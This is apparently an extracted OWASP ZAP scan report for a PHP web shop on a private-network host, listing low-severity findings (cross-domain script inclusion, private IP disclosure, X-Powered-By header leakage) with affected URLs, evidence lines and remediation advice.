http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3


URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3


Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/index.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/index.php

Method POST

http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php
http://192.168.1.10/admin/index.php
http://192.168.1.10/admin/index.php


Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/index.php

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/index.php

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/login.php

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=1

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=1

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=10

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=10

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=11

Method POST

Attack

http://192.168.1.10/index.php
http://192.168.1.10/index.php
http://192.168.1.10/login.php
http://192.168.1.10/product_details.php
http://192.168.1.10/product_details.php
http://192.168.1.10/product_details.php?%20id=1
http://192.168.1.10/product_details.php?%20id=1
http://192.168.1.10/product_details.php?%20id=10
http://192.168.1.10/product_details.php?%20id=10
http://192.168.1.10/product_details.php?%20id=11


Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=11

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=2

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=2

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=3

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=3

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=4

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=4

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=5

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=5

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=6

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

http://192.168.1.10/product_details.php?%20id=11
http://192.168.1.10/product_details.php?%20id=2
http://192.168.1.10/product_details.php?%20id=2
http://192.168.1.10/product_details.php?%20id=3
http://192.168.1.10/product_details.php?%20id=3
http://192.168.1.10/product_details.php?%20id=4
http://192.168.1.10/product_details.php?%20id=4
http://192.168.1.10/product_details.php?%20id=5
http://192.168.1.10/product_details.php?%20id=5
http://192.168.1.10/product_details.php?%20id=6


URL http://192.168.1.10/product_details.php?%20id=6

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=7

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=7

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=8

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=8

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=9

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=9

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/products.php

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/products.php

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/products.php?page=1

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/products.php?page=1

http://192.168.1.10/product_details.php?%20id=6
http://192.168.1.10/product_details.php?%20id=7
http://192.168.1.10/product_details.php?%20id=7
http://192.168.1.10/product_details.php?%20id=8
http://192.168.1.10/product_details.php?%20id=8
http://192.168.1.10/product_details.php?%20id=9
http://192.168.1.10/product_details.php?%20id=9
http://192.168.1.10/products.php
http://192.168.1.10/products.php
http://192.168.1.10/products.php?page=1
http://192.168.1.10/products.php?page=1


Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/products.php?page=2

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/products.php?page=2

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/products.php?page=3

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/products.php?page=3

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/register.php

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/register.php

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

Instances 919

Solution Ensure JavaScript source files are loaded from only trusted sources, and the sources can't 
be controlled by end users of the application.

Reference

CWE Id 829

WASC Id 15

Plugin Id 10017

Low Private IP Disclosure

Description
A private IP (such as 10.x.x.x, 172.x.x.x, 192.168.x.x) or an Amazon EC2 private hostname 
(for example, ip-10-0-56-78) has been found in the HTTP response body. This information 
might be helpful for further attacks targeting internal systems.

URL http://192.168.1.10/cgi-bin/test-cgi

Method GET

Attack

Evidence 192.168.1.253

http://192.168.1.10/products.php?page=2
http://192.168.1.10/products.php?page=2
http://192.168.1.10/products.php?page=3
http://192.168.1.10/products.php?page=3
http://192.168.1.10/register.php
http://192.168.1.10/register.php
https://cwe.mitre.org/data/definitions/829.html
https://www.zaproxy.org/docs/alerts/10017/
http://192.168.1.10/cgi-bin/test-cgi


URL http://192.168.1.10:80/cgi-bin/test-cgi/

Method GET

Attack

Evidence 192.168.1.253

Instances 2

Solution Remove the private IP address from the HTTP response body. For comments, use JSP/ASP
/PHP comment instead of HTML/JavaScript comment which can be seen by client browsers.

Reference https://tools.ietf.org/html/rfc1918

CWE Id 200

WASC Id 13

Plugin Id 2

Low Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)

Description

The web/application server is leaking information via one or more "X-Powered-By" HTTP 
response headers. Access to such information may facilitate attackers identifying other 
frameworks/components your web application is reliant upon and the vulnerabilities such 
components may be subject to.

URL http://192.168.1.10

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/aboutus.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/add_new_announcement.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/announcement.php

Method GET

http://192.168.1.10:80/cgi-bin/test-cgi/
https://tools.ietf.org/html/rfc1918
https://cwe.mitre.org/data/definitions/200.html
https://www.zaproxy.org/docs/alerts/2/
http://192.168.1.10
http://192.168.1.10/
http://192.168.1.10/aboutus.php
http://192.168.1.10/admin/
http://192.168.1.10/admin/ADMIN/ADS/
http://192.168.1.10/admin/ADMIN/ADS/add_new_announcement.php
http://192.168.1.10/admin/ADMIN/ADS/announcement.php


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/Archive.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/Archive.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/Archive.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/Archive.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/Archive.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/Customer_list.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/delete_announcement.php?id=1

Method GET

Attack

http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/Archive.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/Archive.php?id=2
http://192.168.1.10/admin/ADMIN/ADS/Archive.php?id=3
http://192.168.1.10/admin/ADMIN/ADS/Archive.php?id=4
http://192.168.1.10/admin/ADMIN/ADS/Archive.php?id=5
http://192.168.1.10/admin/ADMIN/ADS/Customer_list.php
http://192.168.1.10/admin/ADMIN/ADS/Customers.php
http://192.168.1.10/admin/ADMIN/ADS/delete_announcement.php?id=1


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/Delete_Customer.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/delete_message.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/edit_announcement.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/messages.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/messages_box.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/print_Customerlist.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/reply.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10/admin/ADMIN/ADS/Delete_Customer.php
http://192.168.1.10/admin/ADMIN/ADS/delete_message.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/edit_announcement.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/index.php
http://192.168.1.10/admin/ADMIN/ADS/messages.php
http://192.168.1.10/admin/ADMIN/ADS/messages_box.php
http://192.168.1.10/admin/ADMIN/ADS/print_Customerlist.php
http://192.168.1.10/admin/ADMIN/ADS/reply.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1


URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/add_new_products.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=10

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=11

http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5
http://192.168.1.10/admin/ADMIN/AS/
http://192.168.1.10/admin/ADMIN/AS/add_new_products.php
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=1
http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=10
http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=11


Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=6

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=7

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=8

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=9

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/delete_product.php

Method GET

http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=2
http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=3
http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=4
http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=5
http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=6
http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=7
http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=8
http://192.168.1.10/admin/ADMIN/AS/Archive.php?id=9
http://192.168.1.10/admin/ADMIN/AS/asset.php
http://192.168.1.10/admin/ADMIN/AS/delete_product.php


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=10

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=11

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=6

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=7

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=8

Method GET

Attack

http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=1
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=10
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=11
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=2
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=3
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=4
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=5
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=6
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=7
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=8


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=9

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/print_products.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/print_products1.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/reports.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/reports1.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=9
http://192.168.1.10/admin/ADMIN/AS/index.php
http://192.168.1.10/admin/ADMIN/AS/print_products.php
http://192.168.1.10/admin/ADMIN/AS/print_products1.php
http://192.168.1.10/admin/ADMIN/AS/reports.php
http://192.168.1.10/admin/ADMIN/AS/reports1.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11


URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/OOS/
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1


Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/confirm_order.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/confirm_order.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/confirmed_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/delete_order.php?id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/delete_order.php?id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/orders.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/pending_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/print_orders.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/reports.php

Method GET

http://192.168.1.10/admin/ADMIN/OOS/confirm_order.php?id=3
